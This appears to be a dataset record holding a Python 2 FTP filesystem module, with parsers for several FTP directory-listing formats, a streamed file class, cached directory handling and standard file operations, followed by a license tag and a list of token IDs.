bool ``True`` if the entry might be a directory (i.e., the caller might want to try an FTP ``CWD`` command), ``False`` if it cannot possibly be a directory. try_retr : bool ``True`` if the entry might be a retrievable file (i.e., the caller might want to try an FTP ``RETR`` command), ``False`` if it cannot possibly be a file. size : long The file's size, in bytes mtime : long The file's modification time, as a value that can be passed to ``time.localtime()``. mtime_type : `MTIME_TYPE` How to interpret the modification time. See `MTIME_TYPE`. id : str A unique identifier for the file. The unique identifier is unique on the *server*. On a Unix system, this identifier might be the device number and the file's inode; on other system's, it might be something else. It's also possible for this field to be ``None``. id_type : `ID_TYPE` How to interpret the identifier. See `ID_TYPE`. """ def __init__(self, raw_line): self.raw_line = raw_line self.name = None self.try_cwd = False self.try_retr = False self.size = 0 self.mtime_type = MTIME_TYPE.UNKNOWN self.mtime = 0 self.id_type = ID_TYPE.UNKNOWN self.id = None class FTPListDataParser(object): """ An ``FTPListDataParser`` object can be used to parse one or more lines that were retrieved by an FTP ``LIST`` command that was sent to a remote server. """ def __init__(self): pass def parse_line(self, ftp_list_line): """ Parse a line from an FTP ``LIST`` command. :Parameters: ftp_list_line : str The line of output :rtype: `FTPListData` :return: An `FTPListData` object describing the parsed line, or ``None`` if the line could not be parsed. Note that it's possible for this method to return a partially-filled `FTPListData` object (e.g., one without a name). """ buf = ftp_list_line if len(buf) < 2: # an empty name in EPLF, with no info, could be 2 chars return None c = buf[0] if c == '+': return self._parse_EPLF(buf) elif c in 'bcdlps-': return self._parse_unix_style(buf) i = buf.find(';') if i > 0: return self._parse_multinet(buf, i) if c in '0123456789': return self._parse_msdos(buf) return None # UNIX ls does not show the year for dates in the last six months. # So we have to guess the year. # # Apparently NetWare uses ``twelve months'' instead of ``six months''; ugh. # Some versions of ls also fail to show the year for future dates. def _guess_time(self, month, mday, hour=0, minute=0): year = None t = None for year in range(current_year - 1, current_year + 100): t = self._get_mtime(year, month, mday, hour, minute) if (now - t) < (350 * 86400): return t return 0 def _get_mtime(self, year, month, mday, hour=0, minute=0, second=0): return time.mktime((year, month, mday, hour, minute, second, 0, 0, -1)) def _get_month(self, buf): if len(buf) == 3: for i in range(0, 12): if buf.lower().startswith(MONTHS[i]): return i+1 return -1 def _parse_EPLF(self, buf): result = FTPListData(buf) # see http://cr.yp.to/ftp/list/eplf.html #"+i8388621.29609,m824255902,/,\tdev" #"+i8388621.44468,m839956783,r,s10376,\tRFCEPLF" i = 1 for j in range(1, len(buf)): if buf[j] == '\t': result.name = buf[j+1:] break if buf[j] == ',': c = buf[i] if c == '/': result.try_cwd = True elif c == 'r': result.try_retr = True elif c == 's': result.size = long(buf[i+1:j]) elif c == 'm': result.mtime_type = MTIME_TYPE.LOCAL result.mtime = long(buf[i+1:j]) elif c == 'i': result.id_type = ID_TYPE.FULL result.id = buf[i+1:j-i-1] i = j + 1 return result def _parse_unix_style(self, buf): # UNIX-style listing, without inum and without blocks: # "-rw-r--r-- 1 root other 531 Jan 29 03:26 README" # "dr-xr-xr-x 2 root other 512 Apr 8 1994 etc" # "dr-xr-xr-x 2 root 512 Apr 8 1994 etc" # "lrwxrwxrwx 1 root other 7 Jan 25 00:17 bin -> usr/bin" # # Also produced by Microsoft's FTP servers for Windows: # "---------- 1 owner group 1803128 Jul 10 10:18 ls-lR.Z" # "d--------- 1 owner group 0 May 9 19:45 Softlib" # # Also WFTPD for MSDOS: # "-rwxrwxrwx 1 noone nogroup 322 Aug 19 1996 message.ftp" # # Also NetWare: # "d [R----F--] supervisor 512 Jan 16 18:53 login" # "- [R----F--] rhesus 214059 Oct 20 15:27 cx.exe" # # Also NetPresenz for the Mac: # "-------r-- 326 1391972 1392298 Nov 22 1995 MegaPhone.sit" # "drwxrwxr-x folder 2 May 10 1996 network" result = FTPListData(buf) buflen = len(buf) c = buf[0] if c == 'd': result.try_cwd = True if c == '-': result.try_retr = True if c == 'l': result.try_retr = True result.try_cwd = True state = 1 i = 0 tokens = buf.split() for j in range(1, buflen): if (buf[j] == ' ') and (buf[j - 1] != ' '): if state == 1: # skipping perm state = 2 elif state == 2: # skipping nlink state = 3 if ((j - i) == 6) and (buf[i] == 'f'): # NetPresenz state = 4 elif state == 3: # skipping UID/GID state = 4 elif state == 4: # getting tentative size try: size = long(buf[i:j]) except ValueError: pass state = 5 elif state == 5: # searching for month, else getting tentative size month = self._get_month(buf[i:j]) if month >= 0: state = 6 else: size = long(buf[i:j]) elif state == 6: # have size and month mday = long(buf[i:j]) state = 7 elif state == 7: # have size, month, mday if (j - i == 4) and (buf[i+1] == ':'): hour = long(buf[i]) minute = long(buf[i+2:i+4]) result.mtime_type = MTIME_TYPE.REMOTE_MINUTE result.mtime = self._guess_time(month, mday, hour, minute) elif (j - i == 5) and (buf[i+2] == ':'): hour = long(buf[i:i+2]) minute = long(buf[i+3:i+5]) result.mtime_type = MTIME_TYPE.REMOTE_MINUTE result.mtime = self._guess_time(month, mday, hour, minute) elif j - i >= 4: year = long(buf[i:j]) result.mtime_type = MTIME_TYPE.REMOTE_DAY result.mtime = self._get_mtime(year, month, mday) else: break result.name = buf[j+1:] state = 8 elif state == 8: # twiddling thumbs pass i = j + 1 while (i < buflen) and (buf[i] == ' '): i += 1 #if state != 8: #return None result.size = size if c == 'l': i = 0 while (i + 3) < len(result.name): if result.name[i:i+4] == ' -> ': result.name = result.name[:i] break i += 1 # eliminate extra NetWare spaces if (buf[1] == ' ') or (buf[1] == '['): namelen = len(result.name) if namelen > 3: result.name = result.name.strip() return result def _parse_multinet(self, buf, i): # MultiNet (some spaces removed from examples) # "00README.TXT;1 2 30-DEC-1996 17:44 [SYSTEM] (RWED,RWED,RE,RE)" # "CORE.DIR;1 1 8-SEP-1996 16:09 [SYSTEM] (RWE,RWE,RE,RE)" # and non-MultiNet VMS: #"CII-MANUAL.TEX;1 213/216 29-JAN-1996 03:33:12 [ANONYMOU,ANONYMOUS] (RWED,RWED,,)" result = FTPListData(buf) result.name = buf[:i] buflen = len(buf) if i > 4: if buf[i-4:i] == '.DIR': result.name = result.name[0:-4] result.try_cwd = True if not result.try_cwd: result.try_retr = True try: i = buf.index(' ', i) i = _skip(buf, i, ' ') i = buf.index(' ', i) i = _skip(buf, i, ' ') j = i j = buf.index('-', j) mday = long(buf[i:j]) j = _skip(buf, j, '-') i = j j = buf.index('-', j) month = self._get_month(buf[i:j]) if month < 0: raise IndexError j = _skip(buf, j, '-') i = j j = buf.index(' ', j) year = long(buf[i:j]) j = _skip(buf, j, ' ') i = j j = buf.index(':', j) hour = long(buf[i:j]) j = _skip(buf, j, ':') i = j while (buf[j] != ':') and (buf[j] != ' '): j += 1 if j == buflen: raise IndexError # abort, abort! minute = long(buf[i:j]) result.mtime_type = MTIME_TYPE.REMOTE_MINUTE result.mtime = self._get_mtime(year, month, mday, hour, minute) except IndexError: pass return result def _parse_msdos(self, buf): # MSDOS format # 04-27-00 09:09PM <DIR> licensed # 07-18-00 10:16AM <DIR> pub # 04-14-00 03:47PM 589 readme.htm buflen = len(buf) i = 0 j = 0 try: result = FTPListData(buf) j = buf.index('-', j) month = long(buf[i:j]) j = _skip(buf, j, '-') i = j j = buf.index('-', j) mday = long(buf[i:j]) j = _skip(buf, j, '-') i = j j = buf.index(' ', j) year = long(buf[i:j]) if year < 50: year += 2000 if year < 1000: year += 1900 j = _skip(buf, j, ' ') i = j j = buf.index(':', j) hour = long(buf[i:j]) j = _skip(buf, j, ':') i = j while not (buf[j] in 'AP'): j += 1 if j == buflen: raise IndexError minute = long(buf[i:j]) if buf[j] == 'A': j += 1 if j == buflen: raise IndexError if buf[j] == 'P': hour = (hour + 12) % 24 j += 1 if j == buflen: raise IndexError if buf[j] == 'M': j += 1 if j == buflen: raise IndexError j = _skip(buf, j, ' ') if buf[j] == '<': result.try_cwd = True j = buf.index(' ', j) else: i = j j = buf.index(' ', j) result.size = long(buf[i:j]) result.try_retr = True j = _skip(buf, j, ' ') result.name = buf[j:] result.mtime_type = MTIME_TYPE.REMOTE_MINUTE result.mtime = self._get_mtime(year, month, mday, hour, minute) except IndexError: pass return result class FTPMlstDataParser(object): """ An ``FTPMlstDataParser`` object can be used to parse one or more lines that were retrieved by an FTP ``MLST`` or ``MLSD`` command that was sent to a remote server. """ def __init__(self): pass def parse_line(self, ftp_list_line): """ Parse a line from an FTP ``MLST`` or ``MLSD`` command. :Parameters: ftp_list_line : str The line of output :rtype: `FTPListData` :return: An `FTPListData` object describing the parsed line, or ``None`` if the line could not be parsed. Note that it's possible for this method to return a partially-filled `FTPListData` object (e.g., one without a mtime). """ result = FTPListData(ftp_list_line) # pull out the name parts = ftp_list_line.partition(' ') result.name = parts[2] # parse the facts if parts[0][-1] == ';': for fact in parts[0][:-1].split(';'): parts = fact.partition('=') factname = parts[0].lower() factvalue = parts[2] if factname == 'unique': if factvalue == "0g0" or factvalue == "0g1": # Matrix FTP server sometimes returns bogus "unique" facts result.id_type = ID_TYPE.UNKNOWN else: result.id_type = ID_TYPE.FULL result.id = factvalue elif factname == 'modify': result.mtime_type = MTIME_TYPE.LOCAL result.mtime = calendar.timegm((int(factvalue[0:4]), int(factvalue[4:6]), int(factvalue[6:8]), int(factvalue[8:10]), int(factvalue[10:12]), int(factvalue[12:14]), 0, 0, 0)) elif factname == 'size': result.size = long(factvalue) elif factname == 'sizd': # some FTP servers report directory size with sizd result.size = long(factvalue) elif factname == 'type': if factvalue.lower() == 'file': result.try_retr = True elif factvalue.lower() in ['dir', 'cdir', 'pdir']: result.try_cwd = True else: # dunno if it's file or directory result.try_retr = True result.try_cwd = True return result # --------------------------------------------------------------------------- # Public Functions # --------------------------------------------------------------------------- def parse_ftp_list_line(ftp_list_line, is_mlst=False): """ Convenience function that instantiates an `FTPListDataParser` object and passes ``ftp_list_line`` to the object's ``parse_line()`` method, returning the result. :Parameters: ftp_list_line : str The line of output :rtype: `FTPListData` :return: An `FTPListData` object describing the parsed line, or ``None`` if the line could not be parsed. Note that it's possible for this method to return a partially-filled `FTPListData` object (e.g., one without a name). """ if is_mlst: return FTPMlstDataParser().parse_line(ftp_list_line) else: return FTPListDataParser().parse_line(ftp_list_line) # --------------------------------------------------------------------------- # Private Functions # --------------------------------------------------------------------------- def _skip(s, i, c): while s[i] == c: i += 1 if i == len(s): raise IndexError return i def fileftperrors(f): @wraps(f) def deco(self, *args, **kwargs): self._lock.acquire() try: try: ret = f(self, *args, **kwargs) except Exception, e: self.ftpfs._translate_exception(args[0] if args else '', e) finally: self._lock.release() return ret return deco class _FTPFile(object): """ A file-like that provides access to a file being streamed over ftp.""" blocksize = 1024 * 64 def __init__(self, ftpfs, ftp, path, mode): if not hasattr(self, '_lock'): self._lock = threading.RLock() self.ftpfs = ftpfs self.ftp = ftp self.path = normpath(path) self.mode = mode self.read_pos = 0 self.write_pos = 0 self.closed = False self.file_size = None if 'r' in mode or 'a' in mode: self.file_size = ftpfs.getsize(path) self.conn = None self._start_file(mode, _encode(self.path)) @fileftperrors def _start_file(self, mode, path): self.read_pos = 0 self.write_pos = 0 if 'r' in mode: self.ftp.voidcmd('TYPE I') self.conn = self.ftp.transfercmd('RETR ' + path, None) else:#if 'w' in mode or 'a' in mode: self.ftp.voidcmd('TYPE I') if 'a' in mode: self.write_pos = self.file_size self.conn = self.ftp.transfercmd('APPE ' + path) else: self.conn = self.ftp.transfercmd('STOR ' + path) @fileftperrors def read(self, size=None): if self.conn is None: return '' chunks = [] if size is None or size < 0: while 1: data = self.conn.recv(self.blocksize) if not data: self.conn.close() self.conn = None self.ftp.voidresp() break chunks.append(data) self.read_pos += len(data) return ''.join(chunks) remaining_bytes = size while remaining_bytes: read_size = min(remaining_bytes, self.blocksize) data = self.conn.recv(read_size) if not data: self.conn.close() self.conn = None self.ftp.voidresp() break chunks.append(data) self.read_pos += len(data) remaining_bytes -= len(data) return ''.join(chunks) @fileftperrors def write(self, data): data_pos = 0 remaining_data = len(data) while remaining_data: chunk_size = min(remaining_data, self.blocksize) self.conn.sendall(data[data_pos:data_pos+chunk_size]) data_pos += chunk_size remaining_data -= chunk_size self.write_pos += chunk_size def __enter__(self): return self def __exit__(self,exc_type,exc_value,traceback): self.close() @fileftperrors def flush(self): self.ftpfs._on_file_written(self.path) @fileftperrors def seek(self, pos, where=fs.SEEK_SET): # Ftp doesn't support a real seek, so we close the transfer and resume # it at the new position with the REST command # I'm not sure how reliable this method is! if self.file_size is None: raise ValueError("Seek only works with files open for read") self._lock.acquire() try: current = self.tell() new_pos = None if where == fs.SEEK_SET: new_pos = pos elif where == fs.SEEK_CUR: new_pos = current + pos elif where == fs.SEEK_END: new_pos = self.file_size + pos if new_pos < 0: raise ValueError("Can't seek before start of file") if self.conn is not None: self.conn.close() finally: self._lock.release() self.close() self._lock.acquire() try: self.ftp = self.ftpfs._open_ftp() self.ftp.sendcmd('TYPE I') self.ftp.sendcmd('REST %i' % (new_pos)) self.__init__(self.ftpfs, self.ftp, _encode(self.path), self.mode) self.read_pos = new_pos finally: self._lock.release() #raise UnsupportedError('ftp seek') @fileftperrors def tell(self): if 'r' in self.mode: return self.read_pos else: return self.write_pos @fileftperrors def truncate(self, size=None): self.ftpfs._on_file_written(self.path) # Inefficient, but I don't know how else to implement this if size is None: size = self.tell() if self.conn is not None: self.conn.close() self.close() read_f = None try: read_f = self.ftpfs.open(self.path, 'rb') data = read_f.read(size) finally: if read_f is not None: read_f.close() self.ftp = self.ftpfs._open_ftp() self.mode = 'w' self.__init__(self.ftpfs, self.ftp, _encode(self.path), self.mode) #self._start_file(self.mode, self.path) self.write(data) if len(data) < size: self.write('\0' * (size - len(data))) @fileftperrors def close(self): if 'w' in self.mode or 'a' in self.mode or '+' in self.mode: self.ftpfs._on_file_written(self.path) if self.conn is not None: try: self.conn.close() self.conn = None self.ftp.voidresp() except error_temp, error_perm: pass if self.ftp is not None: try: self.ftp.close() except error_temp, error_perm: pass self.closed = True def __iter__(self): return self.next() @synchronize def next(self): """ Line iterator This isn't terribly efficient. It would probably be better to do a read followed by splitlines. """ endings = '\r\n' chars = [] append = chars.append read = self.read join = ''.join while True: char = read(1) if not char: if chars: yield join(chars) break append(char) if char in endings: line = join(chars) del chars[:] c = read(1) if not char: yield line break if c in endings and c != char: yield line + c else: yield line append(c) def ftperrors(f): @wraps(f) def deco(self, *args, **kwargs): self._lock.acquire() try: self._enter_dircache() try: try: ret = f(self, *args, **kwargs) except Exception, e: self._translate_exception(args[0] if args else '', e) finally: self._leave_dircache() finally: self._lock.release() return ret return deco def _encode(s): if isinstance(s, unicode): return s.encode('utf-8') return s class _DirCache(dict): def __init__(self): super(_DirCache, self).__init__() self.count = 0 def addref(self): self.count += 1 return self.count def decref(self): self.count -= 1 return self.count class FTPFS(FS): _meta = { 'thread_safe' : True, 'network' : True, 'virtual': False, 'read_only' : False, 'unicode_paths' : True, 'case_insensitive_paths' : False, 'atomic.move' : True, 'atomic.copy' : True, 'atomic.makedir' : True, 'atomic.rename' : True, 'atomic.setcontents' : False, 'file.read_and_write' : False, } def __init__(self, host='', user='', passwd='', acct='', timeout=_GLOBAL_DEFAULT_TIMEOUT, port=21, dircache=True): """Connect to a FTP server. :param host: Host to connect to :param user: Username, or a blank string for anonymous :param passwd: Password, if required :param acct: Accounting information (few servers require this) :param timeout: Timeout in seconds :param port: Port to connection (default is 21) :param dircache: If True then directory information will be cached, speeding up operations such as `getinfo`, `isdir`, `isfile`, but changes to the ftp file structure will not be visible until :meth:`~fs.ftpfs.FTPFS.clear_dircache` is called """ super(FTPFS, self).__init__() self.host = host self.port = port self.user = user self.passwd = passwd self.acct = acct self.timeout = timeout self.default_timeout = timeout is _GLOBAL_DEFAULT_TIMEOUT self.use_dircache = dircache self.use_mlst = False self._lock = threading.RLock() self._init_dircache() self._cache_hint = False try: self.ftp except FSError: self.closed = True raise def _init_dircache(self): self.dircache = _DirCache() @synchronize def cache_hint(self, enabled): self._cache_hint = bool(enabled) def _enter_dircache(self): self.dircache.addref() def _leave_dircache(self): self.dircache.decref() if self.use_dircache: if not self.dircache.count and not self._cache_hint: self.clear_dircache() else: self.clear_dircache() assert self.dircache.count >= 0, "dircache count should never be negative" @synchronize def _on_file_written(self, path): self.refresh_dircache(dirname(path)) @synchronize def _readdir(self, path): path = abspath(normpath(path)) if self.dircache.count: cached_dirlist = self.dircache.get(path) if cached_dirlist is not None: return cached_dirlist dirlist = {} def _get_FEAT(ftp): features = dict() try: response = ftp.sendcmd("FEAT") if response[:3] == "211": for line in response.splitlines()[1:]: if line[3] == "211": break if line[0] != ' ': break parts = line[1:].partition(' ') features[parts[0].upper()] = parts[2] except error_perm: # some FTP servers may not support FEAT pass return features def on_line(line): if not isinstance(line, unicode): line = line.decode('utf-8') info = parse_ftp_list_line(line, self.use_mlst) if info: info = info.__dict__ if info['name'] not in ('.', '..'): dirlist[info['name']] = info try: encoded_path = _encode(path) ftp_features = _get_FEAT(self.ftp) if 'MLST' in ftp_features: self.use_mlst = True try: # only request the facts we need self.ftp.sendcmd("OPTS MLST type;unique;size;modify;") except error_perm: # some FTP servers don't support OPTS MLST pass # need to send MLST first to discover if it's file or dir response = self.ftp.sendcmd("MLST " + encoded_path) lines = response.splitlines() if lines[0][:3] == "250": list_line = lines[1] # MLST line is preceded by space if list_line[0] == ' ': on_line(list_line[1:]) else: # Matrix FTP server has bug on_line(list_line) # if it's a dir, then we can send a MLSD if dirlist[dirlist.keys()[0]]['try_cwd']: dirlist = {} self.ftp.retrlines("MLSD " + encoded_path, on_line) else: self.ftp.dir(encoded_path, on_line) except error_reply: pass self.dircache[path] = dirlist return dirlist @synchronize def clear_dircache(self, *paths): """ Clear cached directory information. :param path: Path of directory to clear cache for, or all directories if None (the default) """ if not paths: self.dircache.clear() else: dircache = self.dircache paths = [normpath(abspath(path)) for path in paths] for cached_path in dircache.keys(): for path in paths: if isbase(cached_path, path): dircache.pop(cached_path, None) break @synchronize def refresh_dircache(self, *paths): for path in paths: path = abspath(normpath(path)) self.dircache.pop(path, None) @synchronize def _check_path(self, path): path = normpath(path) base, fname = pathsplit(abspath(path)) dirlist = self._readdir(base) if fname and fname not in dirlist: raise ResourceNotFoundError(path) return dirlist, fname def _get_dirlist(self, path): path = normpath(path) base, fname = pathsplit(abspath(path)) dirlist = self._readdir(base) return dirlist, fname @ftperrors def get_ftp(self): if self.closed: return None if not getattr(self, '_ftp', None): self._ftp = self._open_ftp() return self._ftp ftp = property(get_ftp) @ftperrors def _open_ftp(self): try: ftp = FTP() if self.default_timeout or sys.version_info < (2,6,): ftp.connect(self.host, self.port) else: ftp.connect(self.host, self.port, self.timeout) ftp.login(self.user, self.passwd, self.acct) except socket_error, e: raise RemoteConnectionError(str(e), details=e) return ftp def __getstate__(self): state = super(FTPFS, self).__getstate__() del state['_lock'] state.pop('_ftp', None) return state def __setstate__(self,state): super(FTPFS, self).__setstate__(state) self._init_dircache() self._lock = threading.RLock() #self._ftp = None #self.ftp def __str__(self): return '<FTPFS %s>' % self.host def __unicode__(self): return u'<FTPFS %s>' % self.host @convert_os_errors def _translate_exception(self, path, exception): """ Translates exceptions that my be thrown by the ftp code in to FS exceptions TODO: Flesh this out with more specific exceptions """ if isinstance(exception, socket_error): self._ftp = None raise RemoteConnectionError(str(exception), details=exception) elif isinstance(exception, error_temp): code, message = str(exception).split(' ', 1) self._ftp = None raise RemoteConnectionError(str(exception), path=path, msg="FTP error: %s" % str(exception), details=exception) elif isinstance(exception, error_perm): code, message = str(exception).split(' ', 1) code = int(code) if code == 550: pass if code == 552: raise StorageSpaceError raise PermissionDeniedError(str(exception), path=path, msg="FTP error: %s" % str(exception), details=exception) raise exception @ftperrors def close(self): if not self.closed: try: self.ftp.close() except FSError: pass self.closed = True def getpathurl(self, path, allow_none=False): path = normpath(path) credentials = '%s:%s' % (self.user, self.passwd) if credentials == ':': url = 'ftp://%s%s' % (self.host.rstrip('/'), abspath(path)) else: url = 'ftp://%s@%s%s' % (credentials, self.host.rstrip('/'), abspath(path)) return url @ftperrors def open(self, path, mode='r'): path = normpath(path) mode = mode.lower() if self.isdir(path): raise ResourceInvalidError(path) if 'r' in mode or 'a' in mode: if not self.isfile(path): raise ResourceNotFoundError(path) if 'w' in mode or 'a' in mode or '+' in mode: self.refresh_dircache(dirname(path)) ftp = self._open_ftp() f = _FTPFile(self, ftp, normpath(path), mode) return f @ftperrors def setcontents(self, path, data, chunk_size=1024*64): path = normpath(path) if isinstance(data, basestring): data = StringIO(data) self.refresh_dircache(dirname(path)) self.ftp.storbinary('STOR %s' % _encode(path), data, blocksize=chunk_size) @ftperrors def getcontents(self, path): path = normpath(path) contents = StringIO() self.ftp.retrbinary('RETR %s' % _encode(path), contents.write, blocksize=1024*64) return contents.getvalue() @ftperrors def exists(self, path): path = normpath(path) if path in ('', '/'): return True dirlist, fname = self._get_dirlist(path) return fname in dirlist @ftperrors def isdir(self, path): path = normpath(path) if path in ('', '/'): return True dirlist, fname = self._get_dirlist(path) info = dirlist.get(fname) if info is None: return False return info['try_cwd'] @ftperrors def isfile(self, path): path = normpath(path) if path in ('', '/'): return False dirlist, fname = self._get_dirlist(path) info = dirlist.get(fname) if info is None: return False return not info['try_cwd'] @ftperrors def listdir(self, path="./", wildcard=None, full=False, absolute=False, dirs_only=False, files_only=False): path = normpath(path) #self.clear_dircache(path) if not self.exists(path): raise ResourceNotFoundError(path) if not self.isdir(path): raise ResourceInvalidError(path) paths = self._readdir(path).keys() return self._listdir_helper(path, paths, wildcard, full, absolute, dirs_only, files_only) @ftperrors def listdirinfo(self, path="./", wildcard=None, full=False, absolute=False, dirs_only=False, files_only=False): path = normpath(path) def getinfo(p): try: if full or absolute: return self.getinfo(p) else: return self.getinfo(pathjoin(path,p)) except FSError: return {} return [(p, getinfo(p)) for p in self.listdir(path, wildcard=wildcard, full=full, absolute=absolute, dirs_only=dirs_only, files_only=files_only)] @ftperrors def makedir(self, path, recursive=False, allow_recreate=False): path = normpath(path) if path in ('', '/'): return def checkdir(path): if not self.isdir(path): self.clear_dircache(dirname(path)) try: self.ftp.mkd(_encode(path)) except error_reply: return except error_perm, e: if recursive or allow_recreate: return if str(e).split(' ', 1)[0]=='550': raise DestinationExistsError(path) else: raise if recursive: for p in recursepath(path): checkdir(p) else: base = dirname(path) if not self.exists(base): raise ParentDirectoryMissingError(path) if not allow_recreate: if self.exists(path): if self.isfile(path): raise ResourceInvalidError(path) raise DestinationExistsError(path) checkdir(path) @ftperrors def remove(self, path): if not self.exists(path): raise ResourceNotFoundError(path) if not self.isfile(path): raise ResourceInvalidError(path) self.refresh_dircache(dirname(path)) self.ftp.delete(_encode(path)) @ftperrors def removedir(self, path, recursive=False, force=False): path = abspath(normpath(path)) if not self.exists(path): raise ResourceNotFoundError(path) if self.isfile(path): raise ResourceInvalidError(path) if not force: for _checkpath in self.listdir(path): raise DirectoryNotEmptyError(path) try: if force: for rpath in self.listdir(path, full=True): try: if self.isfile(rpath): self.remove(rpath) elif self.isdir(rpath): self.removedir(rpath, force=force) except FSError: pass self.clear_dircache(dirname(path)) self.ftp.rmd(_encode(path)) except error_reply: pass if recursive: try: self.removedir(dirname(path), recursive=True) except DirectoryNotEmptyError: pass self.clear_dircache(dirname(path), path) @ftperrors def rename(self, src, dst): try: self.refresh_dircache(dirname(src), dirname(dst)) self.ftp.rename(_encode(src), _encode(dst)) except error_perm, exception: code, message = str(exception).split(' ', 1) if code == "550": if not self.exists(dirname(dst)): raise ParentDirectoryMissingError(dst) raise except error_reply: pass @ftperrors def getinfo(self, path): dirlist, fname = self._check_path(path) if not fname: return {} info = dirlist[fname].copy() info['modified_time'] = datetime.datetime.fromtimestamp(info['mtime']) info['created_time'] = info['modified_time'] return info @ftperrors def getsize(self, path): size = None if self.dircache.count: dirlist, fname = self._check_path(path) size = dirlist[fname].get('size') if size is not None: return size self.ftp.sendcmd('TYPE I') size = self.ftp.size(_encode(path)) if size is None: dirlist, fname = self._check_path(path) size = dirlist[fname].get('size') if size is None: raise OperationFailedError('getsize', path) return size @ftperrors def desc(self, path): path = normpath(path) url = self.getpathurl(path, allow_none=True) if url: return url dirlist, fname = self._check_path(path) if fname not in dirlist: raise ResourceNotFoundError(path) return dirlist[fname].get('raw_line', 'No description available') @ftperrors def move(self, src, dst, overwrite=False, chunk_size=16384): if not overwrite and self.exists(dst): raise DestinationExistsError(dst) #self.refresh_dircache(dirname(src), dirname(dst)) try: self.rename(src, dst) except: self.copy(src, dst, overwrite=overwrite) self.remove(src) finally: self.refresh_dircache(src, dirname(src), dst, dirname(dst)) @ftperrors def copy(self, src, dst, overwrite=False, chunk_size=1024*64): if not self.isfile(src): if self.isdir(src): raise ResourceInvalidError(src, msg="Source is not a file: %(path)s") raise ResourceNotFoundError(src) if not overwrite and self.exists(dst): raise DestinationExistsError(dst) dst = normpath(dst) src_file = None try: src_file = self.open(src, "rb") ftp = self._open_ftp() ftp.voidcmd('TYPE I') ftp.storbinary('STOR %s' % _encode(normpath(dst)), src_file, blocksize=chunk_size) finally: self.refresh_dircache(dirname(dst)) if src_file is not None: src_file.close() @ftperrors def movedir(self, src, dst, overwrite=False, ignore_errors=False, chunk_size=16384): self.clear_dircache(dirname(src), dirname(dst)) super(FTPFS, self).movedir(src, dst, overwrite, ignore_errors, chunk_size) @ftperrors def copydir(self, src, dst, overwrite=False, ignore_errors=False, chunk_size=16384): self.clear_dircache(dirname(dst)) super(FTPFS, self).copydir(src, dst, overwrite, ignore_errors, chunk_size) if __name__ == "__main__": ftp_fs = FTPFS('ftp.ncsa.uiuc.edu') ftp_fs.cache_hint(True) from fs.browsewin import browse browse(ftp_fs) #ftp_fs = FTPFS('127.0.0.1', 'user', '12345', dircache=True) #f = ftp_fs.open('testout.txt', 'w') #f.write("Testing writing to an ftp file!") #f.write("\nHai!") #f.close() #ftp_fs.createfile(u"\N{GREEK CAPITAL LETTER KAPPA}", 'unicode!') #kappa = u"\N{GREEK CAPITAL LETTER KAPPA}" #ftp_fs.makedir(kappa) #print repr(ftp_fs.listdir()) #print repr(ftp_fs.listdir()) #ftp_fs.makedir('a/b/c/d', recursive=True) #print ftp_fs.getsize('/testout.txt') #print f.read() #for p in ftp_fs: # print p #from fs.utils import print_fs #print_fs(ftp_fs) #print ftp_fs.getsize('test.txt') #from fs.browsewin import browse #browse(ftp_fs)
agpl-3.0
[ 624, 199, 2319, 14, 8915, 2319, 199, 763, 199, 199, 15123, 7079, 365, 282, 10036, 367, 18549, 376, 23125, 1654, 334, 5589, 14904, 773, 315, 4465, 3555, 9, 199, 199, 624, 199, 199, 363, 452, 363, 275, 788, 15123, 7079, 418, 199, 199, 646, 984, 9948, 199, 646, 7449, 199, 504, 7449, 14, 1095, 492, 627, 199, 504, 7449, 14, 2550, 492, 627, 199, 504, 7449, 14, 515, 492, 931, 1294, 12, 19529, 12, 9017, 12, 18011, 515, 12, 25962, 12, 931, 904, 12, 365, 1095, 199, 199, 504, 14904, 773, 492, 23125, 12, 1125, 63, 8220, 12, 1125, 63, 808, 12, 1125, 63, 2625, 12, 1125, 63, 8102, 199, 199, 893, 26, 272, 687, 14904, 773, 492, 485, 13808, 63, 3472, 63, 8899, 258, 199, 2590, 3545, 26, 272, 485, 13808, 63, 3472, 63, 8899, 275, 909, 342, 258, 199, 199, 646, 5796, 199, 646, 2197, 199, 646, 11234, 199, 199, 504, 2838, 492, 1125, 465, 2838, 63, 705, 199, 504, 7449, 14, 1832, 63, 17869, 492, 14018, 199, 199, 893, 26, 272, 687, 15073, 492, 5228, 199, 2590, 3545, 26, 272, 687, 5228, 492, 5228, 199, 199, 646, 900, 421, 199, 3, 11016, 18964, 199, 3, 32316, 917, 687, 1455, 921, 1544, 14, 3995, 80, 529, 14, 1308, 15, 15619, 15, 1548, 15, 7928, 4348, 1146, 15, 199, 3, 11016, 18964, 199, 199, 533, 11305, 8, 785, 304, 272, 347, 636, 826, 721, 277, 12, 627, 1247, 304, 267, 291, 423, 1247, 63, 1130, 275, 1211, 1332, 354, 12, 284, 9, 367, 284, 12, 536, 315, 3874, 8, 1247, 430, 339, 347, 636, 5675, 721, 277, 12, 536, 304, 267, 372, 291, 423, 1247, 63, 1130, 59, 354, 61, 199, 199, 16413, 51, 275, 661, 24418, 297, 283, 29204, 297, 283, 4584, 297, 283, 439, 82, 297, 283, 7551, 297, 283, 74, 324, 297, 881, 283, 74, 348, 297, 283, 20669, 297, 283, 4127, 297, 283, 15560, 297, 283, 30442, 297, 283, 7778, 358, 199, 199, 45, 4961, 63, 2711, 275, 11305, 360, 11588, 297, 283, 7486, 297, 283, 16058, 63, 4896, 4586, 297, 283, 16058, 63, 11655, 358, 199, 624, 199, 1040, 45, 4961, 63, 2711, 1040, 22975, 4212, 282, 7100, 900, 312, 10846, 370, 506, 11922, 199, 8, 405, 12848, 314, 8025, 1704, 470, 680, 339, 446, 1124, 7486, 18983, 4703, 365, 2257, 370, 314, 1890, 12, 9202, 2238, 370, 334, 292, 5210, 9, 314, 12709, 272, 446, 1124, 16058, 63, 4896, 4586, 18983, 4703, 365, 2257, 370, 314, 1654, 436, 9202, 2238, 370, 314, 12709, 272, 446, 1124, 16058, 63, 11655, 18983, 4703, 365, 2257, 370, 314, 1654, 436, 9202, 2238, 370, 314, 5382, 14, 272, 446, 1124, 11588, 18983, 4703, 1159, 5867, 365, 5809, 14, 199, 624, 199, 199, 998, 63, 2711, 275, 11305, 360, 11588, 297, 283, 14742, 358, 199, 624, 199, 1040, 998, 63, 2711, 1040, 22975, 4212, 282, 570, 1159, 5148, 1077, 506, 11922, 14, 339, 446, 1124, 14742, 18983, 710, 2870, 365, 6040, 370, 506, 4890, 14, 272, 446, 1124, 11588, 18983, 710, 2870, 365, 440, 663, 503, 2399, 730, 365, 5809, 14, 199, 624, 199, 199, 3, 5620, 13715, 199, 